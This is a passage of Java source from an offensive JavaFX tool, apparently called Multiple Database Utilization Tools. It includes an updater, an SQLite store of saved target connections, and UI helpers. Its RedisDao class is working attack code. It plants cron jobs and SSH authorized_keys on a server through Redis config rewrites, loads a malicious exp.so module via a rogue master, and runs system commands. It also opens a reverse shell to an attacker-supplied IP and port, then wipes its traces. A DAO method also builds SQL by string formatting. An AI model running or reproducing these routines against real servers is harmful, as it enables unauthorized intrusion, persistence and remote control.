Utils.writeFile(file.toString() ,tunnelScriptTextArea.getText()); 114 | MessageUtil.showInfoMessage("保存成功!"); 115 | } catch (Exception ignored) { 116 | } 117 | } 118 | } 119 | 120 | 121 | } 122 | 123 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Controller/UpdateController.java: -------------------------------------------------------------------------------- 1 | package Controller; 2 | 3 | 4 | import Util.HttpUtil; 5 | import Util.MessageUtil; 6 | import com.alibaba.fastjson.JSONObject; 7 | import javafx.application.Platform; 8 | import javafx.fxml.FXML; 9 | import javafx.event.ActionEvent; 10 | import javafx.fxml.Initializable; 11 | import javafx.scene.control.Button; 12 | import javafx.scene.control.Label; 13 | import javafx.scene.web.WebView; 14 | import javafx.stage.Stage; 15 | 16 | import java.io.File; 17 | import java.io.IOException; 18 | import java.net.URL; 19 | import java.util.ResourceBundle; 20 | import Util.Utils; 21 | 22 | /** 23 | * @author ch1ng 24 | * @date 2021/8/16 25 | */ 26 | public class UpdateController implements Initializable { 27 | 28 | @FXML 29 | private WebView updateLogWebView; 30 | 31 | @FXML 32 | private Label currentVersionLabel; 33 | 34 | @FXML 35 | private Button cancelBtn; 36 | 37 | @FXML 38 | private Button checkVersionBtn; 39 | 40 | @FXML 41 | private Label updateMsgLabel; 42 | 43 | @FXML 44 | private Label newVersionLabel; 45 | 46 | @FXML 47 | private Button downloadBtn; 48 | 49 | /** 50 | * 存放 checkVersion 的返回值 51 | */ 52 | private JSONObject versionData; 53 | 54 | @Override 55 | public void initialize(URL location, ResourceBundle resources) { 56 | currentVersionLabel.setText("当前版本: " + Utils.getCurrentVersion()); 57 | downloadBtn.setDisable(true); 58 | } 59 | 60 | @FXML 61 | void downloadAction(ActionEvent event) { 62 | Runnable runner = () -> { 63 | try { 64 | Platform.runLater(() -> { 65 | updateMsgLabel.setText("正在下载请稍等..."); 66 | }); 67 | String downloadUrl = versionData.getString("downloadurl"); 68 | String name = versionData.getString("name"); 69 | String time = Utils.currentTime(); 70 | String currentPath = Utils.getSelfPath() + File.separator; 71 | if(HttpUtil.downloadFile(downloadUrl, currentPath + time + "-" + name)){ 72 | Platform.runLater(() -> { 73 | updateMsgLabel.setText("下载完成!请手动解压替换!"); 74 | }); 75 | } 76 | } catch (Exception e) { 77 | Platform.runLater(() -> { 78 | MessageUtil.showExceptionMessage(e, e.getMessage()); 79 | updateMsgLabel.setText("下载失败!请检查网络是否通畅!"); 80 | }); 81 | } 82 | }; 83 | Thread workThrad = new Thread(runner); 84 | workThrad.start(); 85 | } 86 | 87 | @FXML 88 | void cancelAction(ActionEvent event) { 89 | //获取窗口 windows 然后关闭 90 | Stage stage = (Stage) cancelBtn.getScene().getWindow(); 91 | stage.close(); 92 | } 93 | 94 | @FXML 95 | void checkVersion(ActionEvent event) { 96 | Runnable runner = () -> { 97 | try { 98 | Platform.runLater(() -> { 99 | updateMsgLabel.setText("正在检查请稍等..."); 100 | }); 101 | versionData = Utils.checkVersion(); 102 | if("true".equals(versionData.getString("isupdate"))){ 103 | Platform.runLater(() -> { 104 | newVersionLabel.setText("最新版本: " + versionData.getString("version")); 105 | updateMsgLabel.setText("新版本已发布!请点击下载按钮下载更新"); 106 | try { 107 | String body = Utils.generateHtml(versionData.getString("body")); 108 | updateLogWebView.getEngine().loadContent(body); 109 | } catch (IOException e) { } 110 | downloadBtn.setDisable(false); 111 | }); 112 | }else { 113 | Platform.runLater(() -> { 114 | updateMsgLabel.setText("当前版本已经最新!"); 115 | newVersionLabel.setText("最新版本: " + versionData.getString("version")); 116 | }); 117 | } 118 | } catch (Exception e) { 119 | Platform.runLater(() -> { 120 | MessageUtil.showExceptionMessage(e, e.getMessage()); 121 | updateMsgLabel.setText("检查失败!请检查网络是否通畅!"); 122 | }); 123 | } 124 | }; 125 | Thread workThrad = new Thread(runner); 126 | workThrad.start(); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Dao/ManagerDao.java: -------------------------------------------------------------------------------- 1 | package Dao; 2 | 3 | 4 | import Util.Utils; 5 | import java.io.File; 6 | import java.net.URLDecoder; 7 | import java.sql.*; 8 | import org.json.JSONArray; 9 | import org.json.JSONObject; 10 | 11 | /** 12 | * @author ch1ng 13 | */ 14 | public class ManagerDao { 15 | 16 | private String CLASS_NAME = "org.sqlite.JDBC"; 17 | private String DB_PATH = "data.db"; 18 | private String DB_URL; 19 | private Connection connection; 20 | 21 | public ManagerDao() throws Exception { 22 | DB_PATH = URLDecoder.decode(Utils.getSelfPath(), "UTF-8") + File.separator + DB_PATH; 23 | //System.out.println(DB_PATH); 24 | DB_URL = "jdbc:sqlite:" + DB_PATH; 25 | if (!(new File(DB_PATH)).exists()) { 26 | throw new Exception("数据库文件丢失,无法启动。"); 27 | } else { 28 | Class.forName(CLASS_NAME); 29 | connection = DriverManager.getConnection(DB_URL); 30 | connection.setAutoCommit(true); 31 | } 32 | } 33 | 34 | /** 35 | * 关闭连接 36 | */ 37 | public void closeConnection() { 38 | try { 39 | if (connection != null && !connection.isClosed()) { 40 | connection.close(); 41 | } 42 | } catch (Exception var2) { 43 | var2.printStackTrace(); 44 | } 45 | 46 | } 47 | 48 | /** 49 | * 获取用户所有的数据库连接 50 | * @return 51 | * @throws Exception 52 | */ 53 | public JSONArray listDatabases() throws Exception { 54 | JSONArray result = new JSONArray(); 55 | Statement statement = connection.createStatement(); 56 | ResultSet rs = statement.executeQuery("select * from data"); 57 | ResultSetMetaData rsmd = rs.getMetaData(); 58 | while(rs.next()) { 59 | int numColumns = rsmd.getColumnCount(); 60 | JSONObject obj = new JSONObject(); 61 | 62 | for(int i = 1; i <= numColumns; ++i) { 63 | String columnName = rsmd.getColumnName(i); 64 | obj.put(columnName, rs.getObject(columnName)); 65 | } 66 | result.put((Object)obj); 67 | } 68 | return result; 69 | } 70 | 71 | /** 72 | * 根据 ID 查找对应的数据 73 | * @param id 74 | * @return 75 | * @throws Exception 76 | */ 77 | public JSONArray findDataByid(String id) throws Exception { 78 | JSONArray result = new JSONArray(); 79 | Statement statement = connection.createStatement(); 80 | String sql = String.format("select * from data where id = \"%s\"",id); 81 | ResultSet rs = statement.executeQuery(sql); 82 | ResultSetMetaData rsmd = rs.getMetaData(); 83 | while(rs.next()) { 84 | int numColumns = rsmd.getColumnCount(); 85 | JSONObject obj = new JSONObject(); 86 | for(int i = 1; i <= numColumns; ++i) { 87 | String columnName = rsmd.getColumnName(i); 88 | obj.put(columnName, rs.getObject(columnName)); 89 | } 90 | result.put((Object)obj); 91 | } 92 | return result; 93 | } 94 | 95 | /** 96 | * 添加数据到数据库 97 | * @param databasetype 98 | * @param ipaddress 99 | * @param port 100 | * @param username 101 | * @param password 102 | * @param database 103 | * @param timeout 104 | * @param memo 105 | * @param ishttp 106 | * @param url 107 | * @param encryptionkey 108 | * @param isproxy 109 | * @param proxytype 110 | * @param proxyaddress 111 | * @param proxyport 112 | * @param proxyusername 113 | * @param proxypassword 114 | * @param httpheaders 115 | * @param connecttype 116 | * @param addtime 117 | * @return 118 | * @throws Exception 119 | */ 120 | public int addDatebase(String databasetype,String ipaddress,String port,String username,String password,String database,String timeout,String memo,String ishttp,String url,String encryptionkey,String isproxy,String proxytype,String proxyaddress,String proxyport,String proxyusername,String proxypassword,String httpheaders,String connecttype,String addtime) throws Exception { 121 | String sql = "INSERT INTO main.data(databasetype, ipaddress, port, username, password, database, timeout, memo, ishttp, url, encryptionkey, isproxy, proxytype, proxyaddress, proxyport, proxyusername, proxypassword, httpheaders, connecttype, addtime) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; 122 | PreparedStatement statement = connection.prepareStatement(sql); 123 | statement.setString(1, databasetype); 124 | statement.setString(2, ipaddress); 125 | statement.setString(3, port); 126 | statement.setString(4, username); 127 | statement.setString(5, password); 128 | statement.setString(6, database); 129 | statement.setString(7, timeout); 130 | statement.setString(8, memo); 131 | statement.setString(9, ishttp); 132 | statement.setString(10, url); 133 | statement.setString(11, encryptionkey); 134 | statement.setString(12, isproxy); 135 | statement.setString(13, proxytype); 136 | statement.setString(14, proxyaddress); 137 | statement.setString(15, proxyport); 138 | statement.setString(16, proxyusername); 139 | statement.setString(17, proxypassword); 140 | statement.setString(18, httpheaders); 141 | statement.setString(19, connecttype); 142 | statement.setString(20, addtime); 143 | return statement.executeUpdate(); 144 | 145 | } 146 | 147 | /** 148 | * 修改其中一条数据 149 | * @param databasetype 150 | * @param ipaddress 151 | * @param port 152 | * @param username 153 | * @param password 154 | * @param database 155 | * @param timeout 156 | * @param memo 157 | * @param ishttp 158 | * @param url 159 | * @param encryptionkey 160 | * @param isproxy 161 | * @param proxytype 162 | * @param proxyaddress 163 | * @param proxyport 164 | * @param proxyusername 165 | * @param proxypassword 166 | * @param httpheaders 167 | * @param connecttype 168 | * @param id 169 | * @return 170 | * @throws Exception 171 | */ 172 | public int updateDatebase(String databasetype,String ipaddress,String port,String username,String password,String database,String timeout,String memo,String ishttp,String url,String encryptionkey,String isproxy,String proxytype,String proxyaddress,String proxyport,String proxyusername,String proxypassword,String httpheaders,String connecttype,String id) throws Exception { 173 | String sql = "UPDATE data SET databasetype = ?, ipaddress = ?, port = ?, username = ?, password = ?, database = ?, timeout = ?, memo = ?, ishttp = ?, url = ?, encryptionkey = ?, isproxy = ?, proxytype = ?, proxyaddress = ?, proxyport = ?, proxyusername = ?, proxypassword = ?, httpheaders = ?, connecttype = ? WHERE id = ?"; 174 | PreparedStatement statement = connection.prepareStatement(sql); 175 | statement.setString(1, databasetype); 176 | statement.setString(2, ipaddress); 177 | statement.setString(3, port); 178 | statement.setString(4, username); 179 | statement.setString(5, password); 180 | statement.setString(6, database); 181 | statement.setString(7, timeout); 182 | statement.setString(8, memo); 183 | statement.setString(9, ishttp); 184 | statement.setString(10, url); 185 | statement.setString(11, encryptionkey); 186 | statement.setString(12, isproxy); 187 | statement.setString(13, proxytype); 188 | statement.setString(14, proxyaddress); 189 | statement.setString(15, proxyport); 190 | statement.setString(16, proxyusername); 191 | statement.setString(17, proxypassword); 192 | statement.setString(18, httpheaders); 193 | statement.setString(19, connecttype); 194 | statement.setString(20, id); 195 | return statement.executeUpdate(); 196 | 197 | } 198 | 199 | /** 200 | * 根据 ID 删除对应的数据 201 | * @param id 202 | * @return 203 | * @throws Exception 204 | */ 205 | public int delDatebaseById(String id) throws Exception { 206 | String sql = "DELETE FROM data WHERE ID = ?"; 207 | PreparedStatement statement = connection.prepareStatement(sql); 208 | statement.setString(1, id); 209 | return statement.executeUpdate(); 210 | } 211 | 212 | 213 | 214 | } 215 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Dao/RedisDao.java: -------------------------------------------------------------------------------- 1 | package Dao; 2 | 3 | import Controller.RedisController; 4 | import Entity.ControllersFactory; 5 | import Util.MessageUtil; 6 | import Util.Utils; 7 | import javafx.application.Platform; 8 | import redis.clients.jedis.Jedis; 9 | import redis.clients.jedis.commands.ProtocolCommand; 10 | import redis.clients.jedis.util.SafeEncoder; 11 | 12 | import java.sql.SQLException; 13 | import java.util.Arrays; 14 | import java.util.List; 15 | 16 | 17 | public class RedisDao { 18 | /** 19 | * 用此方法获取 RedisController 的日志框 20 | */ 21 | private RedisController redisController = (RedisController) ControllersFactory.controllers.get(RedisController.class.getSimpleName()); 22 | 23 | public static Jedis CONN; 24 | public static List dir; 25 | public static String slaveReadOnlyFlag = "yes"; 26 | 27 | private String ip; 28 | private int port; 29 | private String password; 30 | private int timeout; 31 | private String OS; 32 | private String redisVersion; 33 | private String arch; 34 | 35 | public RedisDao(String ip, String port, String password, String timeout) { 36 | this.ip = ip; 37 | this.port = Integer.parseInt(port); 38 | this.password = password; 39 | // 毫秒单位 40 | this.timeout = Integer.parseInt(timeout) * 1000; 41 | } 42 | 43 | /** 44 | * 测试是否成功连接上数据库,不需要持久化连接 45 | * 46 | * @return 47 | * @throws SQLException 48 | */ 49 | public void testConnection() { 50 | CONN = new Jedis(ip, port, timeout); 51 | if (password.length() != 0) { 52 | CONN.auth(password); 53 | } 54 | CONN.info(); 55 | if (CONN != null) { 56 | CONN.close(); 57 | } 58 | } 59 | 60 | public void getConnection() throws Exception { 61 | CONN = new Jedis(ip, port, timeout); 62 | if (password.length() != 0) { 63 | CONN.auth(password); 64 | } 65 | } 66 | 67 | public void closeConnection() throws Exception { 68 | if (CONN != null) { 69 | CONN.close(); 70 | } 71 | } 72 | 73 | public void getInfo() throws Exception { 74 | String info = CONN.info(); 75 | dir = CONN.configGet("dir"); 76 | OS = Utils.regularMatch("os:(.*)", info); 77 | redisVersion = Utils.regularMatch("redis_version:(.*)", info); 78 | arch = Utils.regularMatch("arch_bits:(.*)", info); 79 | 80 | //List dbfilename = CONN.configGet("dbfilename"); 81 | //String orginDir = StringUtils.join(dir, ": "); 82 | //String orginDbfilename = StringUtils.join(dbfilename, ": "); 83 | Platform.runLater(() -> { 84 | //redisController.redisLogTextFArea.appendText(Utils.log(orginDir)); 85 | //redisController.redisLogTextFArea.appendText(Utils.log(orginDbfilename)); 86 | redisController.redisLogTextFArea.appendText(Utils.log("当前系统: " + OS)); 87 | redisController.redisLogTextFArea.appendText(Utils.log("当前系统位数: " + arch)); 88 | redisController.redisLogTextFArea.appendText(Utils.log("当前 Redis 版本: " + redisVersion)); 89 | redisController.redisLogTextFArea.appendText(Utils.log("4.x >= Version <= 5.0.5 可使用主从同步请注意查看版本信息")); 90 | redisController.redisOutputTextFArea.setText(info); 91 | }); 92 | } 93 | 94 | public void redisavedb(String dir, String dbfilename) { 95 | CONN.configSet("dir", dir); 96 | CONN.configSet("dbfilename", dbfilename); 97 | CONN.save(); 98 | } 99 | 100 | 101 | public void redisslave(String vpsIp, String vpsPort) { 102 | try { 103 | Platform.runLater(() -> { 104 | redisController.redisLogTextFArea.appendText(Utils.log("Setting master: " + vpsIp + ":" + vpsPort)); 105 | }); 106 | // 开启主从 107 | CONN.slaveof(vpsIp, Integer.parseInt(vpsPort)); 108 | 109 | } catch (Exception e) { 110 | Platform.runLater(() -> { 111 | redisController.redisLogTextFArea.appendText(Utils.log(e.getMessage())); 112 | }); 113 | } 114 | } 115 | 116 | 117 | public void crontab(String cronText) { 118 | List crondirs = Arrays.asList("/var/spool/cron/", "/var/spool/cron/crontab/", "/var/spool/cron/crontabs/"); 119 | for (String dir : crondirs) { 120 | try { 121 | String randomString = Utils.getRandomString(); 122 | CONN.set("xxcron", "\n\n" + cronText + "\n\n"); 123 | CONN.configSet("dir", dir); 124 | CONN.configSet("dbfilename", randomString); 125 | CONN.save(); 126 | Platform.runLater(() -> { 127 | redisController.redisLogTextFArea.appendText(Utils.log(dir + randomString + " 写入 CRON " + 128 | "计划任务成功!")); 129 | }); 130 | break; 131 | } catch (Exception e) { 132 | Platform.runLater(() -> { 133 | redisController.redisLogTextFArea.appendText(Utils.log(" 写入 CRON 计划任务失败!")); 134 | redisController.redisLogTextFArea.appendText(Utils.log(e.getMessage())); 135 | }); 136 | } 137 | } 138 | } 139 | 140 | public void sshkey(String sshRsa,String Path) { 141 | try { 142 | CONN.set("xxssh", "\n\n" + sshRsa + "\n\n"); 143 | CONN.configSet("dir", Path); 144 | CONN.configSet("dbfilename", "authorized_keys"); 145 | CONN.save(); 146 | Platform.runLater(() -> { 147 | redisController.redisLogTextFArea.appendText(Utils.log("写入 SSH 公钥成功!")); 148 | }); 149 | } catch (Exception e) { 150 | Platform.runLater(() -> { 151 | redisController.redisLogTextFArea.appendText(Utils.log("写入 SSH 公钥失败!")); 152 | redisController.redisLogTextFArea.appendText(Utils.log(e.getMessage())); 153 | }); 154 | } 155 | 156 | } 157 | 158 | public void rogue(String vpsip, String vpsport, int timeout) throws Exception { 159 | redisslave(vpsip, vpsport); 160 | 161 | Platform.runLater(() -> { 162 | redisController.redisLogTextFArea.appendText(Utils.log("设置 dbfilename 参数!")); 163 | }); 164 | List slaveReadOnlyList = CONN.configGet("slave-read-only"); 165 | slaveReadOnlyFlag = slaveReadOnlyList.get(1); 166 | 167 | Platform.runLater(() -> { 168 | redisController.redisLogTextFArea.appendText(Utils.log("成功设置 slave-read-only 为 no!")); 169 | }); 170 | CONN.configSet("slave-read-only", "no"); 171 | 172 | // 配置so文件 173 | CONN.configSet("dbfilename", "exp.so"); 174 | 175 | List dir = CONN.configGet("dir"); 176 | String evalpath = dir.get(1) + "/exp.so"; 177 | 178 | Platform.runLater(() -> { 179 | redisController.redisLogTextFArea.appendText(Utils.log("正在加载模块请稍等...")); 180 | }); 181 | // 加载恶意so 182 | Thread.sleep(timeout); 183 | CONN.moduleLoad(evalpath); 184 | Thread.sleep(timeout); 185 | 186 | //关闭主从 187 | CONN.slaveofNoOne(); 188 | Platform.runLater(() -> { 189 | redisController.redisLogTextFArea.appendText(Utils.log("模块加载成功!")); 190 | }); 191 | 192 | } 193 | 194 | public enum SysCommand implements ProtocolCommand { 195 | EVAL("system.exec"); 196 | 197 | private final byte[] raw; 198 | 199 | SysCommand(String alt) { 200 | raw = SafeEncoder.encode(alt); 201 | } 202 | 203 | @Override 204 | public byte[] getRaw() { 205 | return raw; 206 | } 207 | } 208 | 209 | public enum SysRevShell implements ProtocolCommand { 210 | REV_SHELL("system.rev"); 211 | 212 | private final byte[] raw; 213 | 214 | SysRevShell(String alt) { 215 | raw = SafeEncoder.encode(alt); 216 | } 217 | 218 | @Override 219 | public byte[] getRaw() { 220 | return raw; 221 | } 222 | } 223 | 224 | public String revShell(String revIp, String revPort) { 225 | String result = ""; 226 | try { 227 | CONN.sendCommand(SysRevShell.REV_SHELL, revIp, revPort); 228 | } catch (Exception e) { 229 | Platform.runLater(() -> { 230 | MessageUtil.showExceptionMessage(e, e.getMessage()); 231 | }); 232 | } 233 | return result; 234 | } 235 | 236 | public String eval(String command, String code) { 237 | String result = ""; 238 | try { 239 | byte[] bytes = (byte[]) CONN.sendCommand(SysCommand.EVAL, command); 240 | result = (new String(bytes, code)); 241 | } catch (Exception e) { 242 | Platform.runLater(() -> { 243 | MessageUtil.showExceptionMessage(e, e.getMessage()); 244 | }); 245 | } 246 | return result; 247 | } 248 | 249 | /** 250 | * 1. 清理目录和本地文件持久化位置修改 251 | * 2. 关闭主从 252 | * 3. 卸载导入so函数 253 | */ 254 | public void clean() { 255 | try { 256 | CONN.configSet("dir", dir.get(1)); 257 | Platform.runLater(() -> { 258 | redisController.redisLogTextFArea.appendText(Utils.log("重设 Dir 参数成功!")); 259 | }); 260 | 261 | CONN.configSet("slave-read-only", slaveReadOnlyFlag); 262 | Platform.runLater(() -> { 263 | redisController.redisLogTextFArea.appendText(Utils.log("重设 slave-read-only 成功!")); 264 | }); 265 | CONN.configSet("dbfilename", "dump.rdb"); 266 | Platform.runLater(() -> { 267 | redisController.redisLogTextFArea.appendText(Utils.log("重设 dbfilename 参数成功!")); 268 | }); 269 | CONN.slaveofNoOne(); 270 | Platform.runLater(() -> { 271 | redisController.redisLogTextFArea.appendText(Utils.log("重设 slaveof 成功")); 272 | }); 273 | eval("rm -f " + dir.get(1) + "/exp.so", "UTF-8"); 274 | Platform.runLater(() -> { 275 | redisController.redisLogTextFArea.appendText(Utils.log("删除 exp 提权模块成功!")); 276 | }); 277 | CONN.moduleUnload("system"); 278 | Platform.runLater(() -> { 279 | redisController.redisLogTextFArea.appendText(Utils.log("卸载函数成功!")); 280 | }); 281 | CONN.del("xxssh"); 282 | CONN.del("xxcron"); 283 | Platform.runLater(() -> { 284 | redisController.redisLogTextFArea.appendText(Utils.log("删除 Key 成功!")); 285 | }); 286 | } catch (Exception e) { 287 | Platform.runLater(() -> { 288 | MessageUtil.showExceptionMessage(e, e.getMessage()); 289 | }); 290 | } 291 | } 292 | 293 | } 294 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Entity/ControllersFactory.java: -------------------------------------------------------------------------------- 1 | package Entity; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | public class ControllersFactory { 7 | // JavaFX的Controller之间进行通信 https://blog.csdn.net/D578332749/article/details/80701441 8 | /** 9 | * Controller容器 10 | */ 11 | public static Map controllers = new HashMap(); 12 | 13 | } 14 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Entity/DatabaseDateEntity.java: -------------------------------------------------------------------------------- 1 | package Entity; 2 | 3 | import javafx.beans.property.SimpleStringProperty; 4 | 5 | 6 | /** 7 | * TableView 视图绑定类 8 | * @author ch1ng 9 | */ 10 | public class DatabaseDateEntity { 11 | private SimpleStringProperty id = new SimpleStringProperty(); 12 | private SimpleStringProperty ipaddress = new SimpleStringProperty(); 13 | private SimpleStringProperty databasetype = new SimpleStringProperty(); 14 | private SimpleStringProperty connecttype = new SimpleStringProperty(); 15 | private SimpleStringProperty memo = new SimpleStringProperty(); 16 | private SimpleStringProperty addtime = new SimpleStringProperty(); 17 | 18 | 19 | public DatabaseDateEntity(String id, String ipaddress, String databasetype, String connecttype, String memo, String addtime) { 20 | this.id.set(id); 21 | this.ipaddress.set(ipaddress); 22 | this.databasetype.set(databasetype); 23 | this.connecttype.set(connecttype); 24 | this.memo.set(memo); 25 | this.addtime.set(addtime); 26 | } 27 | 28 | public String getId() { 29 | return id.get(); 30 | } 31 | 32 | public SimpleStringProperty idProperty() { 33 | return id; 34 | } 35 | 36 | public void setId(String id) { 37 | this.id.set(id); 38 | } 39 | 40 | public String getIpaddress() { 41 | return ipaddress.get(); 42 | } 43 | 44 | public SimpleStringProperty ipaddressProperty() { 45 | return ipaddress; 46 | } 47 | 48 | public void setIpaddress(String ipaddress) { 49 | this.ipaddress.set(ipaddress); 50 | } 51 | 52 | public String getDatabasetype() { 53 | return databasetype.get(); 54 | } 55 | 56 | public SimpleStringProperty databasetypeProperty() { 57 | return databasetype; 58 | } 59 | 60 | public void setDatabasetype(String databasetype) { 61 | this.databasetype.set(databasetype); 62 | } 63 | 64 | public String getConnecttype() { 65 | return connecttype.get(); 66 | } 67 | 68 | public SimpleStringProperty connecttypeProperty() { 69 | return connecttype; 70 | } 71 | 72 | public void setConnecttype(String connecttype) { 73 | this.connecttype.set(connecttype); 74 | } 75 | 76 | public String getMemo() { 77 | return memo.get(); 78 | } 79 | 80 | public SimpleStringProperty memoProperty() { 81 | return memo; 82 | } 83 | 84 | public void setMemo(String memo) { 85 | this.memo.set(memo); 86 | } 87 | 88 | public String getAddtime() { 89 | return addtime.get(); 90 | } 91 | 92 | public SimpleStringProperty addtimeProperty() { 93 | return addtime; 94 | } 95 | 96 | public void setAddtime(String addtime) { 97 | this.addtime.set(addtime); 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Entity/FilesEntity.java: -------------------------------------------------------------------------------- 1 | package Entity; 2 | 3 | import javafx.beans.property.SimpleStringProperty; 4 | import javafx.scene.image.ImageView; 5 | 6 | /** 7 | * @author ch1ng 8 | */ 9 | public class FilesEntity { 10 | 11 | 12 | private ImageView fileIcon = new ImageView(); 13 | private SimpleStringProperty fileName = new SimpleStringProperty(); 14 | private SimpleStringProperty fileStartTime = new SimpleStringProperty(); 15 | private SimpleStringProperty fileSize = new SimpleStringProperty(); 16 | private SimpleStringProperty filePermission = new SimpleStringProperty(); 17 | private SimpleStringProperty fileType = new SimpleStringProperty(); 18 | 19 | public FilesEntity(ImageView fileIcon,String fileName, String fileStartTime, String fileSize, String filePermission,String fileTypeCol) { 20 | this.setFileIcon(fileIcon); 21 | this.setFileName(fileName); 22 | this.setFileStartTime(fileStartTime); 23 | this.setFileSize(fileSize); 24 | this.setFilePermission(filePermission); 25 | this.setFileType(fileTypeCol); 26 | } 27 | public String getFileType() { 28 | return fileType.get(); 29 | } 30 | 31 | public SimpleStringProperty fileTypeColProperty() { 32 | return fileType; 33 | } 34 | 35 | public void setFileType(String fileTypeCol) { 36 | this.fileType.set(fileTypeCol); 37 | } 38 | 39 | public ImageView getFileIcon() { 40 | return fileIcon; 41 | } 42 | 43 | public void setFileIcon(ImageView fileIcon) { 44 | this.fileIcon = fileIcon; 45 | } 46 | 47 | public String getFileName() { 48 | return fileName.get(); 49 | } 50 | 51 | public SimpleStringProperty fileNameProperty() { 52 | return fileName; 53 | } 54 | 55 | public void setFileName(String fileName) { 56 | this.fileName.set(fileName); 57 | } 58 | 59 | public String getFileStartTime() { 60 | return fileStartTime.get(); 61 | } 62 | 63 | public SimpleStringProperty fileStartTimeProperty() { 64 | return fileStartTime; 65 | } 66 | 67 | public void setFileStartTime(String fileStartTime) { 68 | this.fileStartTime.set(fileStartTime); 69 | } 70 | 71 | public String getFileSize() { 72 | return fileSize.get(); 73 | } 74 | 75 | public SimpleStringProperty fileSizeProperty() { 76 | return fileSize; 77 | } 78 | 79 | public void setFileSize(String fileSize) { 80 | this.fileSize.set(fileSize); 81 | } 82 | 83 | public String getFilePermission() { 84 | return filePermission.get(); 85 | } 86 | 87 | public SimpleStringProperty filePermissionProperty() { 88 | return filePermission; 89 | } 90 | 91 | public void setFilePermission(String filePermission) { 92 | this.filePermission.set(filePermission); 93 | } 94 | 95 | 96 | 97 | } 98 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/Base64XOR.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | /** 4 | * @author ch1ng 5 | * @date 2022/4/8 6 | */ 7 | import org.apache.commons.codec.binary.Base64; 8 | import java.io.UnsupportedEncodingException; 9 | import java.net.URLEncoder; 10 | 11 | public class Base64XOR { 12 | 13 | /** 14 | * base64编码 15 | * 16 | * @param str 17 | * @param key 18 | * @return 19 | */ 20 | 21 | public static String encode(String str, String key) { 22 | try { 23 | return base64Encode(xorWithKey(str.getBytes("UTF-8"), key.getBytes()),"UTF-8"); 24 | } catch (UnsupportedEncodingException e) { 25 | e.printStackTrace(); 26 | } 27 | return null; 28 | } 29 | 30 | /** 31 | * base64解码 32 | * 33 | * @param str 34 | * @param key 35 | * @return 36 | */ 37 | public static String decode(String str, String key) { 38 | try { 39 | 40 | return new String(xorWithKey(base64Decode(str), key.getBytes()),"UTF-8"); 41 | } catch (UnsupportedEncodingException e) { 42 | e.printStackTrace(); 43 | } 44 | return null; 45 | } 46 | 47 | /** 48 | * base64编码 49 | * 50 | * @param s 51 | * @param key 52 | * @return 53 | */ 54 | 55 | public static String encode(String s, String key,String code) { 56 | try { 57 | return base64Encode(xorWithKey(s.getBytes(code), key.getBytes()),code); 58 | } catch (UnsupportedEncodingException e) { 59 | e.printStackTrace(); 60 | } 61 | return null; 62 | } 63 | 64 | /** 65 | * base64解码 66 | * @param s 67 | * @param key 68 | * @return 69 | */ 70 | public static String decode(String s, String key,String code) { 71 | try { 72 | 73 | return new String(xorWithKey(base64Decode(s), key.getBytes()),code); 74 | } catch (UnsupportedEncodingException e) { 75 | e.printStackTrace(); 76 | } 77 | return null; 78 | } 79 | 80 | public static byte[] base64Decode(String s) { 81 | return Base64.decodeBase64(s); 82 | } 83 | 84 | public static String base64Decode(String s,String code) { 85 | try { 86 | return new String(Base64.decodeBase64(s),code); 87 | } catch (UnsupportedEncodingException e) { 88 | e.printStackTrace(); 89 | } 90 | return s; 91 | } 92 | 93 | public static String base64Encode(byte[] bytes,String code) { 94 | byte[] encodeBase64 = Base64.encodeBase64(bytes); 95 | try { 96 | return new String(encodeBase64,code); 97 | } catch (UnsupportedEncodingException e) { 98 | e.printStackTrace(); 99 | } 100 | return null; 101 | } 102 | 103 | /** 104 | * 两个字符串异或 105 | * 106 | * @param a 107 | * @param key 108 | * @return 109 | */ 110 | public static byte[] xorWithKey(byte[] a, byte[] key) { 111 | byte[] out = new byte[a.length]; 112 | for (int i = 0; i < a.length; i++) { 113 | out[i] = (byte) (a[i] ^ key[i % key.length]); 114 | } 115 | return out; 116 | } 117 | 118 | } 119 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Util/MessageUtil.java: -------------------------------------------------------------------------------- 1 | package Util; 2 | 3 | import javafx.scene.control.Alert; 4 | import javafx.scene.control.Label; 5 | import javafx.scene.control.TextArea; 6 | import javafx.scene.layout.GridPane; 7 | import javafx.scene.layout.Priority; 8 | import javafx.stage.Window; 9 | 10 | import java.io.PrintWriter; 11 | import java.io.StringWriter; 12 | 13 | /** 14 | * @author ch1ng 15 | */ 16 | public class MessageUtil { 17 | 18 | /** 19 | * 获取 Exception 进行美化输出 20 | * @param ex Exception eg: ex 21 | * @param contentText 简要的报错 eg: ex.getMessage() 22 | */ 23 | public static void showExceptionMessage(Exception ex,String contentText) { 24 | Alert alert = new Alert(Alert.AlertType.ERROR); 25 | alert.setTitle("Multiple Database Utilization Tools 提示"); 26 | alert.setHeaderText(""); 27 | alert.setContentText(contentText); 28 | StringWriter sw = new StringWriter(); 29 | PrintWriter pw = new PrintWriter(sw); 30 | ex.printStackTrace(pw); 31 | String exceptionText = sw.toString(); 32 | 33 | Label label = new Label("The exception stacktrace was:"); 34 | 35 | TextArea textArea = new TextArea(exceptionText); 36 | textArea.setEditable(false); 37 | textArea.setWrapText(true); 38 | 39 | textArea.setMaxWidth(Double.MAX_VALUE); 40 | textArea.setMaxHeight(Double.MAX_VALUE); 41 | GridPane.setVgrow(textArea, Priority.ALWAYS); 42 | GridPane.setHgrow(textArea, Priority.ALWAYS); 43 | 44 | GridPane expContent = new GridPane(); 45 | expContent.setMaxWidth(Double.MAX_VALUE); 46 | expContent.add(label, 0, 0); 47 | expContent.add(textArea, 0, 1); 48 | 49 | alert.getDialogPane().setExpandableContent(expContent); 50 | alert.showAndWait(); 51 | } 52 | 53 | /** 54 | * 报错美化输出 55 | * @param msg 提示内容 56 | */ 57 | public static void showErrorMessage(String msg) { 58 | Alert alert = new Alert(Alert.AlertType.ERROR); 59 | Window window = alert.getDialogPane().getScene().getWindow(); 60 | 